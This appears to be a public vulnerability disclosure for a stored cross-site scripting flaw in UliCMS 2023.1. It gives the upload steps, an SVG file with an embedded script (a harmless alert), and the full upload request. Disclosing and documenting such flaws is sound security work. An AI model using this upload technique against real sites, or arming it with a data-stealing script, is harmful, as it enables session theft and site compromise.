Ulicms-2023.1 sniffing-vicuna - Stored Cross-Site Scripting (XSS)

#Exploit Title: Ulicms-2023.1 sniffing-vicuna - Stored Cross-Site Scripting (XSS)
#Application: Ulicms
#Version: 2023.1-sniffing-vicuna
#Bugs:  Stored Xss
#Technology: PHP
#Vendor URL: https://en.ulicms.de/
#Software Link: https://www.ulicms.de/content/files/Releases/2023.1/ulicms-2023.1-sniffing-vicuna-full.zip
#Date of found: 04-05-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 

2. Technical Details & POC
========================================
steps: 

1. Go to media then to file (http://localhost/dist/admin/index.php?action=files)
2. upload malicious svg file

svg file content ===>

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>


poc request:

POST /dist/admin/fm/upload.php HTTP/1.1
Host: localhost
Content-Length: 663
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryK3CvcSs8xZwzABCl
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/dist/admin/fm/dialog.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: last_position=%2F; 64534366316f0_SESSION=g9vdeh7uafdagkn6l8jdk2delv
Connection: close

------WebKitFormBoundaryK3CvcSs8xZwzABCl
Content-Disposition: form-data; name="fldr"


------WebKitFormBoundaryK3CvcSs8xZwzABCl
Content-Disposition: form-data; name="files[]"; filename="SVG_XSS.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>
------WebKitFormBoundaryK3CvcSs8xZwzABCl--



3. Go to http://localhost/dist/content/SVG_XSS.svg